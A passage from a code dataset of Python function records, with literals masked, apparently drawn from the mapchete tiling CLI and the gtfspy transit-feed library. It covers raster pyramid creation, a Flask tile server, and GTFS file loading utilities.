empty Mapchete and process file in a given directory.", "id": "f12832:m0"}
{"signature": "@click.command(help=\"<STR_LIT>\")<EOL>@utils.arg_mapchete_files<EOL>@utils.opt_zoom<EOL>@utils.opt_bounds<EOL>@utils.opt_point<EOL>@utils.opt_wkt_geometry<EOL>@utils.opt_tile<EOL>@utils.opt_overwrite<EOL>@utils.opt_multi<EOL>@utils.opt_input_file<EOL>@utils.opt_logfile<EOL>@utils.opt_verbose<EOL>@utils.opt_no_pbar<EOL>@utils.opt_debug<EOL>@utils.opt_max_chunksize<EOL>@utils.opt_vrt<EOL>@utils.opt_idx_out_dir<EOL>def execute(<EOL>mapchete_files,<EOL>zoom=None,<EOL>bounds=None,<EOL>point=None,<EOL>wkt_geometry=None,<EOL>tile=None,<EOL>overwrite=False,<EOL>multi=None,<EOL>input_file=None,<EOL>logfile=None,<EOL>verbose=False,<EOL>no_pbar=False,<EOL>debug=False,<EOL>max_chunksize=None,<EOL>vrt=False,<EOL>idx_out_dir=None<EOL>):", "body": "multi = multi if multi else cpu_count()<EOL>mode = \"<STR_LIT>\" if overwrite else \"<STR_LIT>\"<EOL>if debug or not verbose:<EOL><INDENT>verbose_dst = open(os.devnull, '<STR_LIT:w>')<EOL><DEDENT>else:<EOL><INDENT>verbose_dst = sys.stdout<EOL><DEDENT>for mapchete_file in mapchete_files:<EOL><INDENT>tqdm.tqdm.write(\"<STR_LIT>\" % mapchete_file, file=verbose_dst)<EOL>with click_spinner.spinner(disable=debug) as spinner:<EOL><INDENT>if tile:<EOL><INDENT>tile = raw_conf_process_pyramid(raw_conf(mapchete_file)).tile(*tile)<EOL>with mapchete.open(<EOL>mapchete_file,<EOL>mode=mode,<EOL>bounds=tile.bounds,<EOL>zoom=tile.zoom,<EOL>single_input_file=input_file<EOL>) as mp:<EOL><INDENT>spinner.stop()<EOL>tqdm.tqdm.write(\"<STR_LIT>\", file=verbose_dst)<EOL>for result in mp.batch_processor(tile=tile):<EOL><INDENT>utils.write_verbose_msg(result, dst=verbose_dst)<EOL><DEDENT>tqdm.tqdm.write(<EOL>\"<STR_LIT>\" % mapchete_file, file=verbose_dst<EOL>)<EOL>if vrt:<EOL><INDENT>tqdm.tqdm.write(\"<STR_LIT>\", file=verbose_dst)<EOL>for tile in tqdm.tqdm(<EOL>zoom_index_gen(<EOL>mp=mp,<EOL>zoom=tile.zoom,<EOL>out_dir=(<EOL>idx_out_dir if idx_out_dir else mp.config.output.path<EOL>),<EOL>vrt=vrt,<EOL>),<EOL>total=mp.count_tiles(tile.zoom, tile.zoom),<EOL>unit=\"<STR_LIT>\",<EOL>disable=debug or no_pbar<EOL>):<EOL><INDENT>logger.debug(\"<STR_LIT>\", tile)<EOL><DEDENT>tqdm.tqdm.write(<EOL>\"<STR_LIT>\" % mapchete_file,<EOL>file=verbose_dst<EOL>)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>with mapchete.open(<EOL>mapchete_file,<EOL>mode=mode,<EOL>zoom=zoom,<EOL>bounds=bounds_from_opts(<EOL>wkt_geometry=wkt_geometry,<EOL>point=point,<EOL>bounds=bounds,<EOL>raw_conf=raw_conf(mapchete_file)<EOL>),<EOL>single_input_file=input_file<EOL>) as mp:<EOL><INDENT>spinner.stop()<EOL>tiles_count = mp.count_tiles(<EOL>min(mp.config.init_zoom_levels),<EOL>max(mp.config.init_zoom_levels)<EOL>)<EOL>tqdm.tqdm.write(<EOL>\"<STR_LIT>\" % (tiles_count, multi),<EOL>file=verbose_dst<EOL>)<EOL>for process_info in tqdm.tqdm(<EOL>mp.batch_processor(<EOL>multi=multi, zoom=zoom, max_chunksize=max_chunksize<EOL>),<EOL>total=tiles_count,<EOL>unit=\"<STR_LIT>\",<EOL>disable=debug or no_pbar<EOL>):<EOL><INDENT>utils.write_verbose_msg(process_info, dst=verbose_dst)<EOL><DEDENT>tqdm.tqdm.write(<EOL>\"<STR_LIT>\" % mapchete_file, file=verbose_dst<EOL>)<EOL>if vrt:<EOL><INDENT>tqdm.tqdm.write(\"<STR_LIT>\", file=verbose_dst)<EOL>for tile in tqdm.tqdm(<EOL>zoom_index_gen(<EOL>mp=mp,<EOL>zoom=mp.config.init_zoom_levels,<EOL>out_dir=(<EOL>idx_out_dir if idx_out_dir<EOL>else mp.config.output.path<EOL>),<EOL>vrt=vrt<EOL>),<EOL>total=mp.count_tiles(<EOL>min(mp.config.init_zoom_levels),<EOL>max(mp.config.init_zoom_levels)<EOL>),<EOL>unit=\"<STR_LIT>\",<EOL>disable=debug or no_pbar<EOL>):<EOL><INDENT>logger.debug(\"<STR_LIT>\", tile)<EOL><DEDENT>tqdm.tqdm.write(<EOL>\"<STR_LIT>\" % mapchete_file,<EOL>file=verbose_dst<EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Execute a Mapchete process.", "id": "f12834:m0"}
{"signature": "@click.command(help=\"<STR_LIT>\")<EOL>@utils.arg_mapchete_file<EOL>@utils.opt_port<EOL>@utils.opt_internal_cache<EOL>@utils.opt_zoom<EOL>@utils.opt_bounds<EOL>@utils.opt_overwrite<EOL>@utils.opt_readonly<EOL>@utils.opt_memory<EOL>@utils.opt_input_file<EOL>@utils.opt_debug<EOL>@utils.opt_logfile<EOL>def serve(<EOL>mapchete_file,<EOL>port=None,<EOL>internal_cache=None,<EOL>zoom=None,<EOL>bounds=None,<EOL>overwrite=False,<EOL>readonly=False,<EOL>memory=False,<EOL>input_file=None,<EOL>debug=False,<EOL>logfile=None<EOL>):", "body": "app = create_app(<EOL>mapchete_files=[mapchete_file], zoom=zoom,<EOL>bounds=bounds, single_input_file=input_file,<EOL>mode=_get_mode(memory, readonly, overwrite), debug=debug<EOL>)<EOL>if os.environ.get(\"<STR_LIT>\") == \"<STR_LIT>\":<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>app.run(<EOL>threaded=True, debug=True, port=port, host='<STR_LIT>',<EOL>extra_files=[mapchete_file]<EOL>)<EOL><DEDENT>", "docstring": "Serve a Mapchete process.\n\nCreates the Mapchete host and serves both web page with OpenLayers and the\nWMTS simple REST endpoint.", "id": "f12836:m0"}
{"signature": "def create_app(<EOL>mapchete_files=None, zoom=None, bounds=None, single_input_file=None,<EOL>mode=\"<STR_LIT>\", debug=None<EOL>):", "body": "from flask import Flask, render_template_string<EOL>app = Flask(__name__)<EOL>mapchete_processes = {<EOL>os.path.splitext(os.path.basename(mapchete_file))[<NUM_LIT:0>]: mapchete.open(<EOL>mapchete_file, zoom=zoom, bounds=bounds,<EOL>single_input_file=single_input_file, mode=mode, with_cache=True,<EOL>debug=debug)<EOL>for mapchete_file in mapchete_files<EOL>}<EOL>mp = next(iter(mapchete_processes.values()))<EOL>pyramid_type = mp.config.process_pyramid.grid<EOL>pyramid_srid = mp.config.process_pyramid.crs.to_epsg()<EOL>process_bounds = \"<STR_LIT:U+002C>\".join([str(i) for i in mp.config.bounds_at_zoom()])<EOL>grid = \"<STR_LIT:g>\" if pyramid_srid == <NUM_LIT> else \"<STR_LIT>\"<EOL>web_pyramid = BufferedTilePyramid(pyramid_type)<EOL>@app.route('<STR_LIT:/>', methods=['<STR_LIT:GET>'])<EOL>def index():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return render_template_string(<EOL>pkgutil.get_data(<EOL>'<STR_LIT>', '<STR_LIT>').decode(\"<STR_LIT:utf-8>\"),<EOL>srid=pyramid_srid,<EOL>process_bounds=process_bounds,<EOL>is_mercator=(pyramid_srid == <NUM_LIT>),<EOL>process_names=mapchete_processes.keys()<EOL>)<EOL><DEDENT>@app.route(<EOL>\"<STR_LIT:/>\".join([<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:default>\",<EOL>grid, \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]),<EOL>methods=['<STR_LIT:GET>'])<EOL>def get(mp_name, zoom, row, col, file_ext):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>logger.debug(<EOL>\"<STR_LIT>\", zoom, row, col,<EOL>mp_name)<EOL>return _tile_response(<EOL>mapchete_processes[mp_name], web_pyramid.tile(zoom, row, col),<EOL>debug)<EOL><DEDENT>return app<EOL>", "docstring": "Configure and create Flask app.", "id": "f12836:m1"}
{"signature": "@click.command(help=\"<STR_LIT>\")<EOL>@utils.opt_input_formats<EOL>@utils.opt_output_formats<EOL>@utils.opt_debug<EOL>def formats(input_formats, output_formats, debug=False):", "body": "if input_formats == output_formats:<EOL><INDENT>show_inputs, show_outputs = True, True<EOL><DEDENT>else:<EOL><INDENT>show_inputs, show_outputs = input_formats, output_formats<EOL><DEDENT>if show_inputs:<EOL><INDENT>click.echo(\"<STR_LIT>\")<EOL>for driver in available_input_formats():<EOL><INDENT>click.echo(\"<STR_LIT>\" % driver)<EOL><DEDENT><DEDENT>if show_outputs:<EOL><INDENT>click.echo(\"<STR_LIT>\")<EOL>for driver in available_output_formats():<EOL><INDENT>click.echo(\"<STR_LIT>\" % driver)<EOL><DEDENT><DEDENT>", "docstring": "List input and/or output formats.", "id": "f12837:m0"}
{"signature": "@click.command(help=\"<STR_LIT>\")<EOL>@utils.arg_input_raster<EOL>@utils.arg_out_dir<EOL>@utils.opt_pyramid_type_mercator<EOL>@utils.opt_output_format<EOL>@utils.opt_resampling_method<EOL>@utils.opt_scale_method<EOL>@utils.opt_zoom<EOL>@utils.opt_bounds<EOL>@utils.opt_overwrite<EOL>@utils.opt_debug<EOL>def pyramid(<EOL>input_raster,<EOL>output_dir,<EOL>pyramid_type=None,<EOL>output_format=None,<EOL>resampling_method=None,<EOL>scale_method=None,<EOL>zoom=None,<EOL>bounds=None,<EOL>overwrite=False,<EOL>debug=False<EOL>):", "body": "bounds = bounds if bounds else None<EOL>options = dict(<EOL>pyramid_type=pyramid_type,<EOL>scale_method=scale_method,<EOL>output_format=output_format,<EOL>resampling=resampling_method,<EOL>zoom=zoom,<EOL>bounds=bounds,<EOL>overwrite=overwrite<EOL>)<EOL>raster2pyramid(input_raster, output_dir, options)<EOL>", "docstring": "Create tile pyramid out of input raster.", "id": "f12838:m0"}
{"signature": "def raster2pyramid(input_file, output_dir, options):", "body": "pyramid_type = options[\"<STR_LIT>\"]<EOL>scale_method = options[\"<STR_LIT>\"]<EOL>output_format = options[\"<STR_LIT>\"]<EOL>resampling = options[\"<STR_LIT>\"]<EOL>zoom = options[\"<STR_LIT>\"]<EOL>bounds = options[\"<STR_LIT>\"]<EOL>mode = \"<STR_LIT>\" if options[\"<STR_LIT>\"] else \"<STR_LIT>\"<EOL>minzoom, maxzoom = _get_zoom(zoom, input_file, pyramid_type)<EOL>with rasterio.open(input_file, \"<STR_LIT:r>\") as input_raster:<EOL><INDENT>output_bands = input_raster.count<EOL>input_dtype = input_raster.dtypes[<NUM_LIT:0>]<EOL>output_dtype = input_raster.dtypes[<NUM_LIT:0>]<EOL>nodataval = input_raster.nodatavals[<NUM_LIT:0>]<EOL>nodataval = nodataval if nodataval else <NUM_LIT:0><EOL>if output_format == \"<STR_LIT>\" and output_bands > <NUM_LIT:3>:<EOL><INDENT>output_bands = <NUM_LIT:3><EOL>output_dtype = '<STR_LIT>'<EOL><DEDENT>scales_minmax = ()<EOL>if scale_method == \"<STR_LIT>\":<EOL><INDENT>for index in range(<NUM_LIT:1>, output_bands+<NUM_LIT:1>):<EOL><INDENT>scales_minmax += (DTYPE_RANGES[input_dtype], )<EOL><DEDENT><DEDENT>elif scale_method == \"<STR_LIT>\":<EOL><INDENT>for index in range(<NUM_LIT:1>, output_bands+<NUM_LIT:1>):<EOL><INDENT>band = input_raster.read(index)<EOL>scales_minmax += ((band.min(), band.max()), )<EOL><DEDENT><DEDENT>elif scale_method == \"<STR_LIT>\":<EOL><INDENT>for index in range(<NUM_LIT:1>, output_bands+<NUM_LIT:1>):<EOL><INDENT>scales_minmax += ((<NUM_LIT:0>, <NUM_LIT:255>), )<EOL><DEDENT><DEDENT>if input_dtype == \"<STR_LIT>\":<EOL><INDENT>scale_method = None<EOL>scales_minmax = ()<EOL>for index in range(<NUM_LIT:1>, output_bands+<NUM_LIT:1>):<EOL><INDENT>scales_minmax += ((None, None), )<EOL><DEDENT><DEDENT><DEDENT>config = dict(<EOL>process=\"<STR_LIT>\",<EOL>output={<EOL>\"<STR_LIT:path>\": output_dir,<EOL>\"<STR_LIT>\": output_format,<EOL>\"<STR_LIT>\": output_bands,<EOL>\"<STR_LIT>\": output_dtype<EOL>},<EOL>pyramid=dict(pixelbuffer=<NUM_LIT:5>, grid=pyramid_type),<EOL>scale_method=scale_method,<EOL>scales_minmax=scales_minmax,<EOL>input={\"<STR_LIT>\": input_file},<EOL>config_dir=os.getcwd(),<EOL>zoom_levels=dict(min=minzoom, max=maxzoom),<EOL>nodataval=nodataval,<EOL>resampling=resampling,<EOL>bounds=bounds,<EOL>baselevel={\"<STR_LIT>\": maxzoom, \"<STR_LIT>\": resampling},<EOL>mode=mode<EOL>)<EOL>with mapchete.open(config, zoom=zoom, bounds=bounds) as mp:<EOL><INDENT>if not os.path.exists(output_dir):<EOL><INDENT>os.makedirs(output_dir)<EOL><DEDENT>mp.batch_process(zoom=[minzoom, maxzoom])<EOL><DEDENT>", "docstring": "Create a tile pyramid out of an input raster dataset.", "id": "f12838:m1"}
{"signature": "def _get_zoom(zoom, input_raster, pyramid_type):", "body": "if not zoom:<EOL><INDENT>minzoom = <NUM_LIT:1><EOL>maxzoom = get_best_zoom_level(input_raster, pyramid_type)<EOL><DEDENT>elif len(zoom) == <NUM_LIT:1>:<EOL><INDENT>minzoom = zoom[<NUM_LIT:0>]<EOL>maxzoom = zoom[<NUM_LIT:0>]<EOL><DEDENT>elif len(zoom) == <NUM_LIT:2>:<EOL><INDENT>if zoom[<NUM_LIT:0>] < zoom[<NUM_LIT:1>]:<EOL><INDENT>minzoom = zoom[<NUM_LIT:0>]<EOL>maxzoom = zoom[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>minzoom = zoom[<NUM_LIT:1>]<EOL>maxzoom = zoom[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return minzoom, maxzoom<EOL>", "docstring": "Determine minimum and maximum zoomlevel.", "id": "f12838:m2"}
{"signature": "def set_process_timezone(TZ):", "body": "try:<EOL><INDENT>prev_timezone = os.environ['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>prev_timezone = None<EOL><DEDENT>os.environ['<STR_LIT>'] = TZ<EOL>time.tzset()  <EOL>return prev_timezone<EOL>", "docstring": "Parameters\n----------\nTZ: string", "id": "f12841:m0"}
{"signature": "def wgs84_distance(lat1, lon1, lat2, lon2):", "body": "dLat = math.radians(lat2 - lat1)<EOL>dLon = math.radians(lon2 - lon1)<EOL>a = (math.sin(dLat / <NUM_LIT:2>) * math.sin(dLat / <NUM_LIT:2>) +<EOL>math.cos(math.radians(lat1)) * math.cos(math.radians(lat2)) *<EOL>math.sin(dLon / <NUM_LIT:2>) * math.sin(dLon / <NUM_LIT:2>))<EOL>c = <NUM_LIT:2> * math.atan2(math.sqrt(a), math.sqrt(<NUM_LIT:1> - a))<EOL>d = EARTH_RADIUS * c<EOL>return d<EOL>", "docstring": "Distance (in meters) between two points in WGS84 coord system.", "id": "f12841:m1"}
{"signature": "@contextlib.contextmanager<EOL>def create_file(fname=None, fname_tmp=None, tmpdir=None,<EOL>save_tmpfile=False, keepext=False):", "body": "<EOL>if fname == '<STR_LIT>':<EOL><INDENT>yield fname<EOL>return<EOL><DEDENT>if fname_tmp is None:<EOL><INDENT>basename = os.path.basename(fname)<EOL>root, ext = os.path.splitext(basename)<EOL>dir_ = this_dir = os.path.dirname(fname)<EOL>if not keepext:<EOL><INDENT>root = root + ext<EOL>ext = '<STR_LIT>'<EOL><DEDENT>if tmpdir:<EOL><INDENT>if tmpdir is True:<EOL><INDENT>for dir__ in possible_tmpdirs:<EOL><INDENT>if os.access(dir__, os.F_OK):<EOL><INDENT>dir_ = dir__<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>tmpfile = tempfile.NamedTemporaryFile(<EOL>prefix='<STR_LIT>' + root + '<STR_LIT:->', suffix=ext, dir=dir_, delete=False)<EOL>fname_tmp = tmpfile.name<EOL><DEDENT>try:<EOL><INDENT>yield fname_tmp<EOL><DEDENT>except Exception as e:<EOL><INDENT>if save_tmpfile:<EOL><INDENT>print(\"<STR_LIT>\" % fname_tmp)<EOL><DEDENT>else:<EOL><INDENT>os.unlink(fname_tmp)<EOL><DEDENT>raise<EOL><DEDENT>try:<EOL><INDENT>os.rename(fname_tmp, fname)<EOL>os.chmod(fname, <NUM_LIT> & ~current_umask)<EOL><DEDENT>except OSError as e:<EOL><INDENT>tmpfile2 = tempfile.NamedTemporaryFile(<EOL>prefix='<STR_LIT>' + root + '<STR_LIT:->', suffix=ext, dir=this_dir, delete=False)<EOL>shutil.copy(fname_tmp, tmpfile2.name)<EOL>os.rename(tmpfile2.name, fname)<EOL>os.chmod(fname, <NUM_LIT> & ~current_umask)<EOL>os.unlink(fname_tmp)<EOL><DEDENT>", "docstring": "Context manager for making files with possibility of failure.\n\n    If you are creating a file, it is possible that the code will fail\n    and leave a corrupt intermediate file.  This is especially damaging\n    if this is used as automatic input to another process.  This context\n    manager helps by creating a temporary filename, your code runs and\n    creates that temporary file, and then if no exceptions are raised,\n    the context manager will move the temporary file to the original\n    filename you intended to open.\n\n    Parameters\n    ----------\n    fname : str\n        Target filename, this file will be created if all goes well\n    fname_tmp : str\n        If given, this is used as the temporary filename.\n    tmpdir : str or bool\n        If given, put temporary files in this directory.  If `True`,\n        then find a good tmpdir that is not on local filesystem.\n    save_tmpfile : bool\n        If true, the temporary file is not deleteted if an exception\n        is raised.\n    keepext : bool, default False\n            If true, have tmpfile have same extension as final file.\n\n    Returns (as context manager value)\n    ----------------------------------\n     fname_tmp: str\n        Temporary filename to be used.  Same as `fname_tmp`\n        if given as an argument.\n\n    Raises\n    ------\n    Re-raises any except occuring during the context block.", "id": "f12841:m4"}
{"signature": "def execute(cur, *args):", "body": "stmt = args[<NUM_LIT:0>]<EOL>if len(args) > <NUM_LIT:1>:<EOL><INDENT>stmt = stmt.replace('<STR_LIT:%>', '<STR_LIT>').replace('<STR_LIT:?>', '<STR_LIT>')<EOL>print(stmt % (args[<NUM_LIT:1>]))<EOL><DEDENT>return cur.execute(*args)<EOL>", "docstring": "Utility function to print sqlite queries before executing.\n\n    Use instead of cur.execute().  First argument is cursor.\n\n    cur.execute(stmt)\n    becomes\n    util.execute(cur, stmt)", "id": "f12841:m5"}
{"signature": "def str_time_to_day_seconds(time):", "body": "t = str(time).split('<STR_LIT::>')<EOL>seconds = int(t[<NUM_LIT:0>]) * <NUM_LIT> + int(t[<NUM_LIT:1>]) * <NUM_LIT> + int(t[<NUM_LIT:2>])<EOL>return seconds<EOL>", "docstring": "Converts time strings to integer seconds\n:param time: %H:%M:%S string\n:return: integer seconds", "id": "f12841:m8"}
{"signature": "def makedirs(path):", "body": "if not os.path.isdir(path):<EOL><INDENT>os.makedirs(path)<EOL><DEDENT>return path<EOL>", "docstring": "Create directories if they do not exist, otherwise do nothing.\n\nReturn path for convenience", "id": "f12841:m10"}
{"signature": "def timeit(method):", "body": "def timed(*args, **kw):<EOL><INDENT>time_start = time.time()<EOL>result = method(*args, **kw)<EOL>time_end = time.time()<EOL>print('<STR_LIT>' % (method.__name__, time_end - time_start))<EOL>return result<EOL><DEDENT>return timed<EOL>", "docstring": "A Python decorator for printing out the execution time for a function.\n\nAdapted from:\nwww.andreas-jung.com/contents/a-python-decorator-for-measuring-the-execution-time-of-methods", "id": "f12841:m11"}
{"signature": "def source_csv_to_pandas(path, table, read_csv_args=None):", "body": "if '<STR_LIT>' not in table:<EOL><INDENT>table += '<STR_LIT>'<EOL><DEDENT>if isinstance(path, dict):<EOL><INDENT>data_obj = path[table]<EOL>f = data_obj.split(\"<STR_LIT:\\n>\")<EOL><DEDENT>else:<EOL><INDENT>if os.path.isdir(path):<EOL><INDENT>f = open(os.path.join(path, table))<EOL><DEDENT>else:<EOL><INDENT>z = zipfile.ZipFile(path)<EOL>for path in z.namelist():<EOL><INDENT>if table in path:<EOL><INDENT>table = path<EOL>break<EOL><DEDENT><DEDENT>try:<EOL><INDENT>f = zip_open(z, table)<EOL><DEDENT>except KeyError as e:<EOL><INDENT>return pd.DataFrame()<EOL><DEDENT><DEDENT><DEDENT>if read_csv_args:<EOL><INDENT>df = pd.read_csv(**read_csv_args)<EOL><DEDENT>else:<EOL><INDENT>df = pd.read_csv(f)<EOL><DEDENT>return df<EOL>", "docstring": "Parameters\n----------\npath: str\n    path to directory or zipfile\ntable: str\n    name of table\nread_csv_args:\n    string arguments passed to the read_csv function\n\nReturns\n-------\ndf: pandas:DataFrame", "id": "f12841:m13"}
{"signature": "def draw_net_using_node_coords(net):", "body": "import matplotlib.pyplot as plt<EOL>fig = plt.figure()<EOL>node_coords = {}<EOL>for node, data in net.nodes(data=True):<EOL><INDENT>node_coords[node] = (data['<STR_LIT>'], data['<STR_LIT>'])<EOL><DEDENT>ax = fig.add_subplot(<NUM_LIT>)<EOL>networkx.draw(net, pos=node_coords, ax=ax, node_size=<NUM_LIT:50>)<EOL>return fig<EOL>", "docstring": "Plot a networkx.Graph by using the lat and lon attributes of nodes.\nParameters\n----------\nnet : networkx.Graph\nReturns\n-------\nfig : matplotlib.figure\n    the figure object where the network is plotted", "id": "f12841:m16"}
{"signature": "def difference_of_pandas_dfs(df_self, df_other, col_names=None):", "body": "df = pd.concat([df_self, df_other])<EOL>df = df.reset_index(drop=True)<EOL>df_gpby = df.groupby(col_names)<EOL>idx = [x[<NUM_LIT:0>] for x in list(df_gpby.groups.values()) if len(x) == <NUM_LIT:1>]<EOL>df_sym_diff = df.reindex(idx)<EOL>df_diff = pd.concat([df_other, df_sym_diff])<EOL>df_diff = df_diff.reset_index(drop=True)<EOL>df_gpby = df_diff.groupby(col_names)<EOL>idx = [x[<NUM_LIT:0>] for x in list(df_gpby.groups.values()) if len(x) == <NUM_LIT:2>]<EOL>df_diff = df_diff.reindex(idx)<EOL>return df_diff<EOL>", "docstring": "Returns a dataframe with all of df_other that are not in df_self, when considering the columns specified in col_names\n:param df_self: pandas Dataframe\n:param df_other: pandas Dataframe\n:param col_names: list of column names\n:return:", "id": "f12841:m18"}
{"signature": "def get_segments(self):", "body": "cur = self._gtfs.get_cursor()<EOL>cur.execute('''<STR_LIT>''')<EOL>", "docstring": "Get segment\n\nReturns\n-------\nsegments: list[Segment]", "id": "f12842:c0:m1"}
{"signature": "def calculate_trip_shape_breakpoints(conn):", "body": "from gtfspy import shapes<EOL>cur = conn.cursor()<EOL>breakpoints_cache = {}<EOL>count_bad_shape_ordering = <NUM_LIT:0><EOL>count_bad_shape_fit = <NUM_LIT:0><EOL>count_no_shape_fit = <NUM_LIT:0><EOL>trip_Is = [x[<NUM_LIT:0>] for x in<EOL>cur.execute('<STR_LIT>').fetchall()]<EOL>for trip_I in trip_Is:<EOL><INDENT>row = cur.execute('''<STR_LIT>''', (trip_I,)).fetchone()<EOL>if row is None:<EOL><INDENT>continue<EOL><DEDENT>shape_id = row[<NUM_LIT:0>]<EOL>if shape_id is None or shape_id == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>cur.execute('''<STR_LIT>''',<EOL>(trip_I,))<EOL>stop_points = [dict(seq=row[<NUM_LIT:0>],<EOL>lat=row[<NUM_LIT:1>],<EOL>lon=row[<NUM_LIT:2>],<EOL>stop_I=row[<NUM_LIT:3>])<EOL>for row in cur if row[<NUM_LIT:1>] and row[<NUM_LIT:2>]]<EOL>cache_key = (shape_id, tuple(x['<STR_LIT>'] for x in stop_points))<EOL>if cache_key in breakpoints_cache:<EOL><INDENT>breakpoints = breakpoints_cache[cache_key]<EOL><DEDENT>else:<EOL><INDENT>shape_points = shapes.get_shape_points(cur, shape_id)<EOL>breakpoints, badness= shapes.find_segments(stop_points, shape_points)<EOL>if breakpoints != sorted(breakpoints):<EOL><INDENT>count_bad_shape_ordering += <NUM_LIT:1><EOL>breakpoints_cache[cache_key] = None<EOL>continue  <EOL><DEDENT>breakpoints_cache[cache_key] = breakpoints<EOL>if badness > <NUM_LIT:30> * len(breakpoints):<EOL><INDENT>count_bad_shape_fit += <NUM_LIT:1><EOL><DEDENT><DEDENT>if breakpoints is None:<EOL><INDENT>continue<EOL><DEDENT>if len(breakpoints) == <NUM_LIT:0>:<EOL><INDENT>count_no_shape_fit += <NUM_LIT:1><EOL>continue<EOL><DEDENT>assert len(breakpoints) == len(stop_points)<EOL>cur.executemany('<STR_LIT>'<EOL>'<STR_LIT>',<EOL>((int(bkpt), int(trip_I), int(stpt['<STR_LIT>']))<EOL>for bkpt, stpt in zip(breakpoints, stop_points)))<EOL><DEDENT>if count_bad_shape_fit > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % count_bad_shape_fit)<EOL><DEDENT>if count_bad_shape_ordering > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % count_bad_shape_ordering)<EOL><DEDENT>if count_no_shape_fit > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % count_no_shape_fit)<EOL><DEDENT>conn.commit()<EOL>", "docstring": "Pre-compute the shape points corresponding to each trip's stop.\n\n    Depends: shapes", "id": "f12850:m1"}
{"signature": "def __init__(self, gtfssource=None, print_progress=True):", "body": "if isinstance(gtfssource, string_types + (dict,)):<EOL><INDENT>_gtfs_sources = [gtfssource]<EOL><DEDENT>else:<EOL><INDENT>assert isinstance(gtfssource, list)<EOL>_gtfs_sources = gtfssource<EOL><DEDENT>self.print_progress = print_progress<EOL>self.gtfs_sources = []<EOL>for source in _gtfs_sources:<EOL><INDENT>if isinstance(source, dict):<EOL><INDENT>self.gtfs_sources.append(source)<EOL><DEDENT>elif isinstance(source, string_types):<EOL><INDENT>if os.path.isdir(source):<EOL><INDENT>self.gtfs_sources.append(source)<EOL><DEDENT>else:<EOL><INDENT>z = zipfile.ZipFile(source, mode='<STR_LIT:r>')<EOL>zip_commonprefix = os.path.commonprefix(z.namelist())<EOL>zip_source_datum = {<EOL>\"<STR_LIT>\": source,<EOL>\"<STR_LIT>\": zip_commonprefix<EOL>}<EOL>self.gtfs_sources.append(zip_source_datum)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Parameters\n----------\ngtfssource: str, dict, list\n    str: path to GTFS directory or zipfile\n    dict:\n        dictionary of files to use to as the GTFS files.  This\n        is mainly useful for testing, not for any normal use of\n        GTFS.  For example, to provide an agency.txt file,\n        do this:\n            d = {'agency.txt':\n                     'agency_id, agency_name, agency_timezone,agency_url\\n' \\\n                     '555,CompNet,Europe/Lala,http://x'\n                  }\n        Of course you probably wouldn't want all the string data\n        inline like that. You can provide the data as a string or\n        a file-like object (with a .read() attribute and line\n        iteration).\n    list: a list of the above elements to import (i.e. \"merge\") multiple GTFS feeds to the same database\n\nprint_progress: boolean\n    whether to print progress of the", "id": "f12857:c0:m0"}
{"signature": "def exists(self):", "body": "<EOL>return any(self.exists_by_source())<EOL>", "docstring": "Does this GTFS contain this file? (file specified by the class)", "id": "f12857:c0:m1"}
{"signature": "def exists_by_source(self):", "body": "exists_list = []<EOL>for source in self.gtfs_sources:<EOL><INDENT>if isinstance(source, dict):<EOL><INDENT>if self.fname in source:<EOL><INDENT>if source[self.fname]:<EOL><INDENT>exists_list.append(True)<EOL>continue<EOL><DEDENT><DEDENT><DEDENT>if \"<STR_LIT>\" in source:<EOL><INDENT>try:<EOL><INDENT>Z = zipfile.ZipFile(source['<STR_LIT>'], mode='<STR_LIT:r>')<EOL>Z.getinfo(os.path.join(source['<STR_LIT>'], self.fname))<EOL>exists_list.append(True)<EOL>continue<EOL><DEDENT>except KeyError:<EOL><INDENT>print(self.fname, '<STR_LIT>', source)<EOL>exists_list.append(False)<EOL>continue<EOL><DEDENT><DEDENT>elif isinstance(source, string_types):<EOL><INDENT>if os.path.exists(os.path.join(source, self.fname)):<EOL><INDENT>exists_list.append(True)<EOL>continue<EOL><DEDENT><DEDENT>exists_list.append(False)<EOL><DEDENT>return exists_list<EOL>", "docstring": "Does this GTFS contain this file? (file specified by the class)", "id": "f12857:c0:m2"}
{"signature": "def gen_rows0(self):", "body": "return self.gen_rows(*(self._get_csv_reader_generators()))<EOL>", "docstring": "Iterate through all rows in all files file.\n\n        The file is specified by the class - there is one class per\n        table.  This opens the file, does basic sanitaition, and\n        iterates over all rows as dictionaries, converted by\n        csv.DictReader.  This function opens files from both .zip and\n        raw directories.  The actual logic of converting all data to\n        Python is done in the .gen_rows() method which must be\n        defined in each subclass.", "id": "f12857:c0:m4"}
{"signature": "def create_table(self, conn):", "body": "<EOL>cur = conn.cursor()<EOL>if self.tabledef is None:<EOL><INDENT>return<EOL><DEDENT>if not self.tabledef.startswith('<STR_LIT>'):<EOL><INDENT>cur.execute('<STR_LIT>'<EOL>% (self.table, self.tabledef)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>cur.execute(self.tabledef)<EOL><DEDENT>conn.commit()<EOL>", "docstring": "Make table definitions", "id": "f12857:c0:m7"}
